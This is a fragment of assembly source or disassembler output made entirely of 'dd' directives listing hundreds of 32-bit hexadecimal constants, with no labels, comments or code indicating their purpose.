		dd 7BF65201h, 296B0D8h,	3A33A880h, 3FD3C4BFh, 8AE76700h
		dd 0CB49F1AFh, 70715826h, 0D7D0B61Dh, 227840F2h, 112EF7C2h
		dd 3CCD200h, 3A8AFA3Eh,	5CB8CEh, 5554025Bh, 6525A0B8h
		dd 1B247E00h, 2C26EF27h, 0A8F513BBh, 0E80F006Bh, 1D5A9B6h
		dd 0E91D9AF6h, 1D008F06h, 37936335h, 51320F6Ah,	444B803Fh
		dd 9703D490h, 0CD5E8801h, 0D6A8D174h, 3C9AB8C0h, 0CF03A0E8h
		dd 0C61C8723h, 13148085h, 0D206AE2Ch, 0E3B39A81h, 1D0000Eh
		dd 91778E0Ch, 801F069h,	0A5CD4BC9h, 51D0ADB4h, 8C75B0h
		dd 4A2AF217h, 1BFED039h, 96BE1800h, 20FCED16h, 78C603D7h
		dd 9E84A71Ah, 0A5ACA1B7h, 0F842F83Ah, 57D083Dh,	0D436D25Ch
		dd 710DB0D0h, 63B807h, 49826B4Dh, 0E4EC94AFh, 7C045Ch
		dd 0F841B825h, 3756CFh,	39706D4Eh, 0C455744Dh, 977C83Eh
		dd 80724F0Fh, 5944216Dh, 7B9A0732h, 0D005BC58h,	82B557A0h
		dd 780C71C1h, 33D8A422h, 61160051h, 7B12EF4h, 749E3F24h
		dd 1829560Ah, 424A6800h, 0E8BD4FD9h, 0A7D3262Dh, 454E0FB0h
		dd 0E66D6080h, 0E8798E76h, 659A600h, 0B10FC524h, 4C2F18A9h
		dd 0CCF62854h, 4F921201h, 0B65707B4h, 0B06D3043h, 4857576h
		dd 472BF9Ah, 0C2041E17h, 0C0FFEDB0h, 0F6CEE62h,	7282F79h
		dd 58005427h, 67988110h, 2299971h, 979570C3h, 308ED1BBh
		dd 9851138Ch, 9970D700h, 0C4ADA177h, 0DFE000C0h, 645DCF4Dh
		dd 2400CD33h, 1A2FC278h, 0C1D60EADh, 97D14D40h,	96045B76h
		dd 978754CAh, 25C1C2DBh, 52D63460h, 4444728h, 2F7A8998h
		dd 2ED1481Fh, 311C8094h, 0A441D8A5h, 40808ADh, 0E218B020h
		dd 0C3035E93h, 118C0D4Dh, 47D110C6h, 0D5506575h, 4CCE180Ah
		dd 0A6694C9Bh, 0E1A08B78h, 1C437A55h, 108961C8h, 594ECCAEh
		dd 0CA101750h, 853B860h, 0D6000442h, 2F285D4Ch,	81DE86D2h
		dd 6811C974h, 5F808728h, 832B40Ah, 9A0CA34Eh, 1F291453h
		dd 5324C4Dh, 409BFA20h,	0D2502CC5h, 74570801h, 544222Bh
		dd 5301F6F4h, 4000EC29h, 4F6C2CC0h, 0FBF896A1h,	1008B568h
		dd 0C1D70421h, 8AD8EAEEh, 0B4ADF610h, 1C07DB40h, 0EE400004h
		dd 20E36BEh, 0AF21E28Ah, 588738E9h, 0B260C838h,	2820D753h
		dd 0CC4125E9h, 8E69E438h, 0CB597260h, 0C0E34201h, 512AEF48h
		dd 8E00C30Bh, 300E96D3h, 920CED75h, 12E40690h, 116E6246h
		dd 94A49A09h, 2F2C8F3Ch, 69346C3Dh, 6073E251h, 0D19B48D5h
		dd 0F4034F93h, 21F60690h, 987EEFC2h, 1CE680h, 0C7B830Fh
		dd 0D074D3ECh, 2479327h, 0E191239Ch, 0FAD02458h, 8608DF6Dh
		dd 0C14A8EC2h, 0D66C48C6h, 3C849008h, 22004212h, 50F5F808h
		dd 3C03D4F9h, 0D5D04534h, 0A8C3F3EFh, 4D7DD2h, 0FE6DC6Dh
		dd 92DFF4B4h, 0C1D9786Eh, 0CCE9F51Ah, 0FC3EB050h, 0A0324D09h
		dd 935DF400h, 0A2BD9A76h, 0E4D049h, 60EEC67Ah, 0FC91D1CFh
		dd 39C906Ch, 50D47D55h,	294007A2h, 5331B6D0h, 79F411E9h
		dd 17D6C30h, 6B7E8402h,	0ECAC4340h, 0E5036585h,	5350867Ch
		dd 0E1F16649h, 6F5808D8h, 835425ECh, 0C3440578h, 2AAAD85Fh
		dd 0B0BA3FD2h, 647E538Ch, 1D03EC21h, 0A6E6D076h, 81A10A7Bh
		dd 14B4C2FAh, 0D712ACFBh, 50F80341h, 0AC98B499h, 0E650DA40h
		dd 0DD125298h, 2C50DB53h, 110A6A8h, 0EDF1851Dh,	92064AD7h
		dd 384C7A7Ah, 0A7DF1D1h, 5C87171Fh, 0CE3459B8h,	0F0102D19h
		dd 0D2800C2Fh, 0A5F600EEh, 0FF094DC2h, 780EB79Fh, 0A3B43013h
		dd 840C97CEh, 21062082h, 41CAD950h, 0DC87CCA4h,	47000EF4h
		dd 0D59E5D2Dh, 1EA39497h, 15C6A54h, 0D3B95FD0h,	0F610F4D1h
		dd 0DD13FE07h, 16804320h, 50E428ADh, 9E93A08Fh,	4A6E83ECh
		dd 0C9285901h, 2D59905Ah, 29B840C8h, 0E4240189h, 0FBF93A55h
		dd 8C50DC0Ah, 0ED8A0A4h, 0A40576D1h, 8C145E9Ah,	8F4E020h
		dd 3DA763D8h, 0EF670C24h, 5FE04059h, 906C7CACh,	303A4818h
		dd 0A25701A1h, 8C0A8859h, 4C754B7Ah, 5311FA10h,	12C06684h
		dd 0DC7744F1h, 0B58A4200h, 29C96151h, 6D101ABh,	0FDF325A0h
		dd 83804366h, 0FC4D4100h, 0A5427AD0h, 0B10C638Fh, 2921FEF4h
		dd 0D00A3DD1h, 93CCBAFh, 8805E40Bh, 3D58236Dh, 30CE6BC1h
		dd 48A40327h, 97DC4B0h,	3F83F0A0h, 4A9C3C0Eh, 80C5EC54h
		dd 0A2D18A1h, 4DE6B0CEh, 60E8A532h, 406CC0CDh, 0F72FA3Ch
		dd 4BB4AF47h, 0E479B09Dh, 0D718EB1Dh, 0B3717598h, 0A8BE0AB7h
		dd 62B09D53h, 1804D61Eh, 0F9938858h, 0E4D97A2Ah, 9D780F07h
		dd 4B47E498h, 994ED4F1h, 0B7C570h, 0F825790Dh, 50DD69E8h
		dd 8D8D4CB6h, 8C0C1058h, 7325057Ah, 0B48F6D9Ah,	41034E44h
		dd 0EFD1226Fh, 29810464h, 808179A4h, 25409344h,	47007BF0h
		dd 0C04B2CFEh, 0D47DA2A3h, 0E23EC841h, 0EC453603h, 0D9C07C8Fh
		dd 0D2ECB828h, 4E145A72h, 1098E3F5h, 20002D32h,	3FC6500Dh
		dd 4B16B710h, 4C4076E4h, 0FFB9512Fh, 0A3D37881h, 1B6D9848h
		dd 55E000C6h, 56E10157h, 9C61F5BAh, 51B62520h, 32001032h
		dd 0E7BE7807h, 1C79D2CFh, 88146E5Ah, 0BFC20070h, 6B0CC3E0h
		dd 0AEBE18B1h, 84CF39A2h, 0A3765400h, 919655A4h, 0CAC6001Eh
		dd 0F87C4C68h, 0C7A07B24h, 0C0DD3667h, 591118C0h, 3C6ADF13h
		dd 161E6148h, 96B20F57h, 50EE5F62h, 0AEDAC320h,	534009Dh
		dd 0FB5A60A6h, 32002B18h, 0B3D256E8h, 895B58h, 3F398114h
		dd 97337B17h, 0BEC3F507h, 7620464Eh, 3AB840B5h,	0B000C8D0h
		dd 0B99A50AAh, 4209F3D2h, 80530F2Dh, 3F027CE4h,	4B01Eh
		dd 0D8886D50h, 51E8150Bh, 64917A0Eh, 0AC3204Fh,	7CCC765Eh
		dd 9A5A00E6h, 260C4DE5h, 0FC01EDE8h, 0BDB6BC36h, 0B3F09010h
		dd 0D4E4F13Bh, 0D1F0EEh, 0A419D2A6h, 57E80332h,	0E76F3A0Eh
		dd 8DA10173h, 18835A5Eh, 39CEAC4Eh, 0ECEA500Fh,	4B888057h
		dd 0C05835D3h, 466B6CFAh, 0DA58BD80h, 0A3550F97h, 2E57801Ch
		dd 1D9C0123h, 0C360E7B0h, 9652340Bh, 9DD311C0h,	0A282767h
		dd 0F772A850h, 0ECE70C5Dh, 0A318BC05h, 88D9D462h, 0F70498E9h
		dd 0F4400FDCh, 0AC08A65h, 19E2B7BCh, 0B842D8C0h, 6DCADh
		dd 11550C4Ah, 7D383447h, 0DF502770h, 0F4076C8Ch, 0DB901AA8h
		dd 211130C0h, 7689015Ah, 92D50877h, 294CE850h, 0B14E6805h
		dd 2803D313h, 2884C2D9h, 74C0E819h, 90B80AEh, 0A91FD830h
		dd 5377A312h, 9B046050h, 0C3C53FD8h, 0A822BC5Ah, 0BE57025Eh
		dd 0B14DC331h, 39C0908Eh, 73AD511Eh, 2D21C40Ah,	2602480Bh
		dd 903D5A4Dh, 0A80BA47Ch, 0C1591D08h, 6C3A7A79h, 3FF18249h
		dd 0A77CC67Dh, 1F32BC84h, 0E4CDC074h, 0D30F06CFh, 910D9E98h
		dd 0E0C19621h, 7E127DDCh, 65D448C1h, 0C983A7ABh, 8BCB9FDDh
		dd 21642080h, 0E114A20Ch, 6D18148h, 0CC3B516Fh,	6C303157h
		dd 0E26BFA3Ch, 67490C75h, 14587F88h, 394D7935h,	0E678EB00h
		dd 5422D897h, 5139406h,	0E4FF1FE5h, 8B8C016Fh, 0EC39F516h
		dd 0B81564DCh, 38BC5EBCh, 89B91F43h, 5F8A11F0h,	4D6D20EBh
		dd 0DD549402h, 4E252Dh,	0B9361AC9h, 385C7F3Eh, 1FD7853Bh
		dd 0C050C20Fh, 118878DCh, 1E641F65h, 0B67C2ECh,	0A08CBE3Dh
		dd 0C8FED948h, 4E52D24h, 987B269Eh, 6E99C02Bh, 10D4A8B8h
		dd 0A9B600B1h, 0E8149AA8h
		dd 0C744A5D2h, 55E43A94h, 56CB3C07h, 50AAC711h,	17138798h
		dd 9A0EC812h, 4066CC4Ah, 322F57F8h, 6D684EC0h, 0BB4091h
		dd 31E8085Ah, 9118A404h, 60AF080h, 64400341h, 652FBCB9h
		dd 4FD02058h, 810A8754h, 95F91BCh, 2C93F3Ch, 689511E4h
		dd 2BDC360h, 1078EBB9h,	0A4A0BAD3h, 338C0ADBh, 0C10834Dh
		dd 190DBDE4h, 8A1C9910h, 81849EBh, 0D092DE8h, 17149294h
		dd 0CA81F504h, 0FCE512A5h, 123702C4h, 0E8EC6CDh, 35ECDD78h
		dd 39183829h, 0FB1802C8h, 0C403E9B0h, 0CB9198E0h, 0BEB5BF03h
		dd 0FB35052Eh, 5271C8B1h, 496E30C2h, 0D4163169h, 0C0381C03h
		dd 8BD0082Eh, 4825A22Fh, 0F8BC8h, 0A287BD4h, 0A3CA1C3Ch
		dd 5EC29D06h, 3971B47Fh, 51E00C68h, 4754C6Ch, 80973E00h
		dd 0DEDA4546h, 57E2004Eh, 0B31FA183h, 0E003769h, 0C5C6F250h
		dd 9A8BEB6Ch, 62110028h, 0FAA0C205h, 4138957h, 40FFED9h
		dd 20DD8451h, 1D7A57C0h, 410A0070h, 0C512A4C0h,	8A3077F4h
		dd 651691B1h, 0FAB20079h, 0F207E34Ch, 0C4078039h, 0E2120290h
		dd 0D9091C10h, 0D4DC1C1Fh, 726AC235h, 8CB0F852h, 1E08D3C0h
		dd 622FD038h, 91005B6Ch, 2A12D401h, 79CC89DBh, 0E35E1C5Ah
		dd 85D1DF85h, 0C168FBA4h, 10552A0h, 0E9BD92EAh,	4AFD0280h
		dd 75747126h, 0D1205909h, 0F608BDFh, 78556186h,	90E99A03h
		dd 7B3A8051h, 136EC4h, 8353DB41h, 0CB5CAACFh, 3C000092h
		dd 3DA7CA2h, 9E6271h, 61E99B1Eh, 0ACBC3A21h, 8E739204h
		dd 88CA5AFh, 31770CF8h,	989991EBh, 599A7800h, 44150AECh
		dd 0F1950054h, 81CAC668h, 77001865h, 6EECF2Ch, 1334AA1h
		dd 54E30FE1h, 22BC85A2h, 9C1B0040h, 88FB8C07h, 0C56A0362h
		dd 8DEAD358h, 9B2D6900h, 0AEF3F4B4h, 0FDBE0085h, 0C5B390CAh
		dd 39EE20F9h, 8851DE24h, 7B87EB80h, 0D113A97h, 13765D90h
		dd 2433F569h, 80070D84h, 5946632Ch, 36A5DE50h, 0E9C102ACh
		dd 6B222EC7h, 56CECCE0h, 99FCF501h, 5B226E8h, 0C7284980h
		dd 533A7814h, 82E33C07h, 604633FCh, 21F10021h, 80B6400Ah
		dd 7302A4ACh, 87D38D3h,	0EAD04162h, 0F5006022h,	0B24116D9h
		dd 89002BD7h, 0D06C58A7h, 60FAC4AEh, 47AC517Fh,	0F503CD08h
		dd 56803445h, 0CBA3F88Ah, 86E500B2h, 6C04F63Eh,	2D033C92h
		dd 4A6F145Fh, 1241BEDDh, 334E3E88h, 56B2672Ch, 5E5FE900h
		dd 0D8B302E7h, 3A45942Ch, 48D68049h, 354AFEA8h,	5A54E420h
		dd 414CD873h, 4B01B46Ch, 63B7FF6Bh, 38D88595h, 241435BCh
		dd 6202830h, 7CD97B00h,	98E309EEh, 6BF3009Ah, 5160CAC5h
		dd 4004771Ch, 0D424378Bh, 89BC54C8h, 8087E034h,	1261D63Fh
		dd 0B5C030CAh, 0B04AE1BEh, 20C80AD0h, 3C7C8359h, 9AD27707h
		dd 367B4070h, 3E6AF5BCh, 5E08E098h, 0D3F2600Ch,	0A0463820h
		dd 0EA4E310h, 1D41B97h,	0A28E1339h, 36E589C9h, 0F58D6980h
		dd 0BB46BF06h, 0B08CF000h, 0A23D2CE5h, 22B30EB4h, 0F4804D02h
		dd 13841A67h, 0D02BDD3Ch, 0B3BBD6Ch, 0D58E80CDh, 0FF2AA61h
		dd 3AF903D3h, 8A7A561Ch, 1AA04383h, 388050B9h, 0B078BAD3h
		dd 709F0068h, 6832E376h, 1A300277h, 0EAA99CCh, 0E53D00EDh
		dd 746D09A0h, 8E007884h, 7E6635A9h, 2B6A3F4h, 3F2D033Ah
		dd 8C82433Dh, 0C9180DBFh, 382308D3h, 0E6645168h, 0D4669C40h
		dd 1505CA9Dh, 0C33934E2h, 20ADDC22h, 0D6C8B726h, 920088FAh
		dd 69283D15h, 59D37177h, 71B83073h, 9000B977h, 0D62EB812h
		dd 42D85E06h, 0A23D7CADh, 373F7D82h, 77C5848Ch,	44A493D5h
		dd 70D9483Eh, 6E920880h, 1A0F6420h, 8C221590h, 79BC29E6h
		dd 0C40351C3h, 49E0B9CDh, 9B38C7ADh, 58EEC377h,	288C05C1h
		dd 9004C10h, 60024C82h,	64C1DD70h, 839A58ABh, 5900308Ah
		dd 5A4E78Ch, 0C1942E40h, 0A9EE9B38h, 77782C03h,	80784877h
		dd 4C8848C0h, 1FEF816Fh, 8AAD2290h, 4718E1ABh, 63F0F011h
		dd 3930D0CDh, 0CA4E98Fh, 0C7DA0E97h, 6C203DFFh,	35F686C9h
		dd 3842EB1Fh, 0AADBE4C1h, 0C3031C6h, 3A4713Ch, 11D4AEE9h
		dd 8CB3C507h, 0B65C801h, 0E090EEF0h, 5914B88Ch,	1A0A52F1h
		dd 9C16877Eh, 4402E711h, 0C1EEA555h, 700050E4h,	78C2CAD9h
		dd 10E88B6Fh, 610115Eh,	556CDF5Ah, 7777729h, 0F9ED3A13h
		dd 0B11A51A7h, 0B8A2108Fh, 0DBFC00CEh, 6978ED66h, 0A600D16Eh
		dd 13A44A92h, 677E815h,	8F7CDDD9h, 0D2041038h, 0CF80894Ch
		dd 100600AFh, 91709061h, 0BE685E03h, 0C0921AD2h, 121C73FCh
		dd 40E9D874h, 0D0337FACh, 1500B266h, 0EB77EAFh,	0DD38A0h
		dd 6440656Bh, 8350F8EDh, 5D2A8C00h, 0D8F6F56Ah,	22A098FEh
		dd 0DA001FCAh, 952C4F18h, 30D00919h, 0B9D102FAh, 57653789h
		dd 3C01D928h, 130FA93h,	383DEE8h, 0CA6AE245h, 6DA13A50h
		dd 9E31BF36h, 2701C39Fh, 0F2C069B6h, 929A8F4h, 11B87A37h
		dd 0FBD1A810h, 820DB30Ch, 0EC0F1053h, 1A9A00F6h, 0AAC31C40h
		dd 0CF4E302h, 212DC200h, 57A6017Fh, 189902ECh, 0DBE8291Fh
		dd 6E4414C0h, 0EEE61D0Eh, 15AB814Eh, 8C601F19h,	0F5907CDh
		dd 624464A9h, 50E38C3Ch, 57B4411Ch, 2A45D080h, 7652781Ah
		dd 207D015Bh, 40E41953h, 494881AFh, 225A81E2h, 0ECF84161h
		dd 84E6F2Ch, 99494898h,	79005AE6h, 6046AEA6h, 98ADF325h
		dd 0E92D3955h, 522E0280h, 3A19030Fh, 1400DD98h,	0C8B58D5Ch
		dd 28335ADFh, 0A4C7D77h, 8E19A449h, 5AB74040h, 17463808h
		dd 0B3217030h, 0A0005A61h, 7E7C0E0Dh, 203D32h, 0F1073FA8h
		dd 0E1F44903h, 0B5DFAF0Ch, 5C8F10EFh, 7160251Fh, 2CE77902h
		dd 2E8E0E09h, 5E19847Dh, 9720D5C1h, 8D2BB880h, 0BDC24423h
		dd 16A43F0Fh, 739D4486h, 0B2AA871Dh, 6FECD04Ah,	2F0FCCABh
		dd 2063B605h, 0C1D03A80h, 4D2C39FBh, 0DB198180h, 3D668EC0h
		dd 8C305500h, 0FDDF4AA0h, 18DDEA16h, 10927886h,	0B100B4F7h
		dd 3E068AF2h, 3C04EC75h, 0F100FE5Ah, 1AC0D8BDh,	0FA1ED9EEh
		dd 0D600BB0Bh, 0C69737EDh, 0FF1E076Eh, 4021C975h, 0D88A405Ah
		dd 843B39h, 65C01BDFh, 74746A7h, 0EC596AEBh, 1AF6C07Bh
		dd 4507B7BBh, 4EDEE058h, 0EF42BD90h, 0C060DD7Fh, 40BC8DBAh
		dd 1D07F019h, 1FBEDFFEh, 8B9143h, 0BC97CC20h, 3C075D85h
		dd 6CDAAF00h, 4113C7F9h, 69E2C12h, 0AB08004Ah, 0E6FFDE0h
		dd 0E3F25E00h, 88A8A5BBh, 0B3323806h, 0D431880h, 5C372B59h
		dd 16838E00h, 799C6DE6h, 13CA3C5Dh, 8FDECC9Fh, 6880B888h
		dd 96C42B89h, 0F3008FE0h, 0DDA3D691h, 7C8BE70Dh, 0C8C3004Fh
		dd 4578604Ah, 0FB006630h, 0CB7A489Fh, 6850DFh, 2FD943AEh
		dd 10F061D0h, 80C6F803h, 0E88AEBB0h, 4026F3h, 4C7F5CCAh
		dd 0C2969C8Ch, 3857B800h, 377EB910h, 0FBE13FDEh, 881DA500h
		dd 0C19D5BAh, 743DE2EEh, 0F7300F2h, 5EA6376Ah, 76AC0001h
		dd 0FA85362Fh, 0CB00AF95h, 788B2D88h, 7AE0DFh, 82ECFE4Ah
		dd 75BC12BAh, 0B8553Fh,	0F7345401h, 7B406DA2h, 174100FBh
		dd 0C95F5AC5h, 5D005BF1h, 0C2CEFFDBh, 1635E25h,	0E4EE8FDFh
		dd 0E4A3CC06h, 500107Bh, 54175841h, 7B0B1F62h, 0C7277C16h
		dd 0B0716D10h, 8386A46Eh, 0D54CDE19h, 31807008h, 2C687967h
		dd 7E00906Bh, 22E48029h, 0CF0A126Dh, 78895B20h,	1C8A7F01h
		dd 0B5877029h, 9C3AD4F8h, 80CD3150h, 5B10137Eh,	6E0C7051h
		dd 20BC8404h, 0A270143h, 0BF77AE81h, 0E50ECC7Ch, 0AD310360h
		dd 8E7A71h, 1AD6874Dh
		dd 0DC6CC70Bh, 0D0B65501h, 68088109h, 0F5213883h, 990006D3h
		dd 57E9B0CDh, 38DA9B2h,	0E190022Bh, 0E0C8011Dh,	0D601CD61h
		dd 0E66452E5h, 9FF0C0E4h, 0D4B301A5h, 4E875DE7h, 42498013h
		dd 7E37D06Bh, 0A32801F3h, 0E31EBD43h, 165CF063h, 0F93093ECh
		dd 0CD20F82Dh, 23D7203Dh, 2A825401h, 8C09E54Bh,	55D4B4FDh
		dd 60BAE8B3h, 0B181E06Dh, 4A013D4Bh, 0D060F056h, 79800E07h
		dd 0BA74AF94h, 3F7982D1h, 79E6F500h, 3555D74Bh,	17750058h
		dd 9438670h, 0E8A8386Dh, 0E41FB4C9h, 2CC2450Eh,	0C018D634h
		dd 5FA9D5h, 15610349h, 8B261154h, 2A511C15h, 0B20075D8h
		dd 4A41C290h, 8001101Eh, 9224810Dh, 94002464h, 0D907E33Ch
		dd 0D7970FB5h, 9C3E972h, 2003BAECh, 5DB13817h, 2038AD7Ah
		dd 446F8h, 1ED57CD6h, 1425B1Ch,	74900D61h, 4D074EE1h, 8357E8E4h
		dd 0E0C5A928h, 0CC30E484h, 58D72043h, 0DB472E53h, 0C04A1C14h
		dd 5C360B3Bh, 0BE3CC111h, 0A4731EFAh, 74C02640h, 483FC41Eh
		dd 242982CDh, 4BB000D4h, 0B35C0A5Bh, 0D3BD4486h, 5B4A590Fh
		dd 0F1E3A0FFh, 0C503CE1h, 9C87E0Fh, 796F06A8h, 0DA0420B1h
		dd 0FC0E2B44h, 4DF52469h, 0FF790050h, 0E89492E1h, 70A037EEh
		dd 0D149F522h, 52EB875Ch, 1DFDA8E0h, 0D0008501h, 0FEE552EFh
		dd 112F03E8h, 0D4BAB837h, 0B848AFBAh, 0AE04F561h, 0A7FC0876h
		dd 0D68F1587h, 23507D14h, 4BB30086h, 0B6A409FCh, 21146786h
		dd 0AA4A20E4h, 8185127h, 0E519653Ah, 0B11700A0h, 3C95B2E2h
		dd 8901C1B8h, 0A24F48B5h, 9CE47CFFh, 5AC0238h, 3F525516h
		dd 52F298A4h, 0C0444408h, 0A4787D5Fh, 7122D646h, 67C70D00h
		dd 30D92E19h, 44331E38h, 4139D804h, 0A0A81C05h,	0F10076DDh
		dd 421FD9DFh, 33C8529h,	0B5F314A0h, 317BD36Ah, 80B69C00h
		dd 0D022196Fh, 0FE560068h, 0D8C3AB79h, 29C0255Dh, 0FCFA329h
		dd 0A8EFC21h, 177FB6CEh, 74A84884h, 176DAE10h, 7976480h
		dd 7049E165h, 57FE8074h, 4395A929h, 0E2C5223Ah,	6B5300A6h
		dd 690A2814h, 7C9974B6h, 0C6719829h, 9EE49718h,	42156B71h
		dd 80D8775Eh, 4F5861DEh, 2892BDh, 72E64BB4h, 1CB30438h
		dd 8CC8F78h, 72E921BCh,	945895C2h, 577A0A00h, 4798097h
		dd 0F0A409h, 6E6B5FD4h,	557A76AFh, 80918A07h, 0FAB2A6C3h
		dd 1118C1A1h, 0E01F15h,	5DDF43C9h, 0B028BEB8h, 64A17035h
		dd 934ED087h, 201037Eh,	0A4BBD309h, 0C0823DF5h,	50FA1B3Bh
		dd 0E4370060h, 0BA9FFC01h, 47B236DAh, 183B0420h, 0EC114A94h
		dd 0C900C415h, 4DAA51A9h, 8F4F50h, 10B921C2h, 0EE94B8C1h
		dd 1607C300h, 0A3A9C841h, 22E300B7h, 0A2400942h, 0A5006179h
		dd 31FA5E8Bh, 262B4BBAh, 0F4B8A79Dh, 40CEE21h, 3FF51970h
		dd 6B082042h, 6C65D905h, 7B5B1488h, 0C979AFh, 0F1405DE1h
		dd 98FBAC9Dh, 6A530912h, 6844CC30h, 6EA4104Bh, 2E2DD95h
		dd 20748C42h, 217EF87Eh, 0ABA1460Eh, 53641004h,	1BD40072h
		dd 441CEDAAh, 9700E1D2h, 0BA11491Ah, 30E70AFh, 32592CD7h
		dd 7AC1CB34h, 2194F4A0h, 88483E48h, 0E677C06Ch,	23218E7Eh
		dd 11891A1h, 0A6E64F0Dh, 0E42240B9h, 5D94D40Ch,	391F0F21h
		dd 0DF01B218h, 8AF08FA4h, 346BD444h, 0B37C401h,	8443DB3Ch
		dd 0A5E15F50h, 751B5A00h, 36243D56h, 46003C4Ch,	87540B1Dh
		dd 286891FCh, 3DF80420h, 96B8089Ch, 590A6118h, 0E890BAB2h
		dd 0D10128A8h, 0DF487923h, 0D44B0B21h, 3010E884h, 2A023Fh
		dd 0DB159B3Ch, 0A817E6EFh, 284896FAh, 0F197044Ch, 2CC9B16Ah
		dd 3DB05026h, 0C1240C0h, 5444CA81h, 94C04842h, 60D5931Fh
		dd 901B683Ch, 0EA0004A1h, 0DF146115h, 2854BD46h, 0CEDDAEh
		dd 4AE59DDBh, 0BBA0D66h, 6424D200h, 567D116Bh, 2DE400B9h
		dd 469071DCh, 6E734BE5h, 130CA00h, 7956371Ch, 99F000DDh
		dd 0C7E72E7Dh, 9800E1F7h, 6DCD5E5Ch, 3A26EB5h, 584E33A4h
		dd 0E1E86AF3h, 800271Eh, 833F869Bh, 3A0C1710h, 0D9180D1Ah
		dd 403E202Ah, 2F936A00h, 9CFDCBA9h, 0E501046Eh,	0C0AA0442h
		dd 14509FA8h, 99ACC700h, 9A3E8498h, 4DCC03E9h, 40377D3Dh
		dd 0B1C97800h, 0D8C71B5Ch, 7FAC032Fh, 0ADA988B8h, 0CEFDBAA8h
		dd 86CCA200h, 20D7AFD2h, 0F88F6BFh, 635B0B64h, 7320F2EAh
		dd 0CFCA899h, 51310FE3h, 50806C6Fh, 11B98D90h, 0E14DC71Fh
		dd 0E8958C7h, 0D9F01C17h, 8ECDD8h, 7055DDB9h, 0AEF45BE8h
		dd 0DB00D770h, 7A6588B6h, 816426D8h, 0F3D1D1D3h, 41078978h
		dd 190BF985h, 65A51F0h,	30AE74CBh, 1B201DF7h, 0D203F9CEh
		dd 0DA774274h, 0FC490C86h, 1E90C64Ch, 0E2CE7A1Dh, 9D6E1830h
		dd 99762A84h, 8AFC0CA0h, 65282EEEh, 0B3FDD105h,	6782D08Eh
		dd 0A090AD78h, 215020A0h, 8680BBEEh, 5F1906F9h,	1D2086AFh
		dd 0CFE8011Fh, 3CBA7EF9h, 7008207Dh, 0AB40781Bh, 0D0BEC051h
		dd 9D89006Fh, 0E5AF7A1Ch, 1E8783Bh, 0E14E7B0Ch,	7F2B20D4h
		dd 0D180F1D7h, 0DE7EE36Dh, 60063FAh, 0CD2F3C2Ch, 3FD5697h
		dd 88B9AB6Eh, 0D900E5C3h, 0FB9E0FC7h, 18F9DCF4h, 0C85C9B89h
		dd 7E86B73Ch, 1908088Ch, 0A366AE2Fh, 0D4461FA9h, 0AB67C0F9h
		dd 0DA5153E4h, 89D87515h, 690118B8h, 7DB5Ch, 0E591A3AEh
		dd 0C94BC04Eh, 0D584DF28h, 0F33BC705h, 4C00D644h, 0E75F896Dh
		dd 0B03E03D9h, 0B76ED0CEh, 9DF349A1h, 5FCEEF20h, 0A8AB4A7Eh
		dd 0F800E19Eh, 0B65618B5h, 0D0C8CE2Bh, 0E258C0B0h, 52CF1994h
		dd 72C3C8ACh, 3EEAE0C0h, 0F4888097h, 0E154601Dh, 0D700A20Fh
		dd 30B89590h, 9040D874h, 0F12E0041h, 0D96017Dh,	7B00323Eh
		dd 0B745428Dh, 2AF33CF8h, 27CC2C8h, 0DA435E0Dh,	4C19AADEh
		dd 5FB57310h, 947AFB01h, 0BB8CF785h, 93E93F4h, 4EA168AEh
		dd 61412424h, 3401902Fh, 92CC0C4Bh, 27DB0084h, 42326F90h
		dd 96000B5Ch, 1B9EA4ABh, 489AD899h, 5D2A7411h, 0F9610088h
		dd 0DCA72DB1h, 60A53D46h, 9604664h, 280007ADh, 0CF6CD823h
		dd 16214EAh, 4F158240h,	0A850DEC1h, 0CB520C51h,	5F880130h
		dd 0B749AA86h, 10884B0Ch, 0AE5E0012h, 0AADD8131h, 0C21815E4h
		dd 2D415D0Ch, 86440014h, 9E56322h, 160056F8h, 0E40ED294h
		dd 1C3692AAh, 93300732h, 11D8080Ch, 26B83C2h, 62190EEBh
		dd 0B872180h, 9F26A99Bh, 0CE2C5E09h, 7E248259h,	0E4370043h
		dd 0CCA81618h, 449ACDF3h, 13D88300h, 0CE6C8B2h,	4E140A8Ch
		dd 8F3CFCB6h, 3F829B0Ah, 0C4191093h, 424C4180h,	1BFEF36Ah
		dd 0BE92D504h, 509051B6h, 1F712ADDh, 0C1D39948h, 0F8BF96F3h
		dd 19A7CC6Eh, 8D201713h, 10AF8832h, 70039B10h, 0A68A9A36h
		dd 0C8205051h, 0F97D04ADh, 8072278Eh, 0E415EB10h, 1DF1D111h
		dd 2520C10Ch, 10913B49h, 4A184B79h, 3E320507h, 6A20DB29h
		dd 0A1BCF9h, 0BEDD0DCBh, 862BB5B9h, 37880CB1h, 0F98360B7h
		dd 0D74C1985h, 0A1E258h, 0F5C07C55h, 0C46EE104h, 388F8B50h
		dd 3D00E3DDh, 9E66ADD2h, 0ED291570h, 929A8F5h, 2A9678E4h
		dd 0D9D70086h, 1CB94961h, 83009A93h, 2C887D8Fh,	2EBAF13h
		dd 2EE44A17h, 0F8447A86h, 80AC1B21h, 9C0F903Dh,	0E18679C4h
		dd 0C3C91C64h, 224A0B20h, 0CEF373E8h, 0D8A7507Ch, 18E2C5C2h
		dd 130349A4h, 1A257F23h, 0E0890110h, 0B489560Bh, 0C08057C3h
		dd 0E53AB0C6h, 7B593E06h, 0E192FD6h, 0B8B6F9A7h, 69F39083h
		dd 6CDB3100h, 0F0A37808h, 1DEC0028h, 0E5C4F752h, 5607F933h
		dd 0C38969CAh
		dd 0D20B246Ah, 7B081004h, 351C00DFh, 2D563498h,	80B0A894h
		dd 2F8DA90Ch, 0E6F85Eh,	0DDC69A6Ah, 0EB565421h,	0DA674100h
		dd 544A3D3h, 63723914h,	0F8DDA100h, 0D24DFD2Bh,	4B9CA600h
		dd 7F36A52Ah, 1E7D0045h, 77E291D1h, 0C400CA51h,	0F40AA60h
		dd 0E6495Eh, 4618B813h,	2D64764Fh, 1DFBD400h, 8492EBBEh
		dd 0F121058Ah, 0FCDF64Dh, 74C07C81h, 581038DBh,	0F3188200h
		dd 0A93FAA99h, 67270002h, 5068A525h, 4A00A021h,	4DFA2EBEh
		dd 7D62A3Ch, 419737DCh,	7EF1431Dh, 18A39BA8h, 848B0A00h
		dd 7B45D36h, 3EB3043Ch,	0C0B882A5h, 0E934F1E3h,	5E00C976h
		dd 54430431h, 0ADD889h,	25865A72h, 0DA64E617h, 81211902h
		dd 603E4755h, 3D3A66h, 0A9AE456Ah, 0E113F828h, 5300E7E8h
		dd 0ECB0C95h, 1EE5F526h, 8085BDFDh, 23E66C25h, 5003CA47h
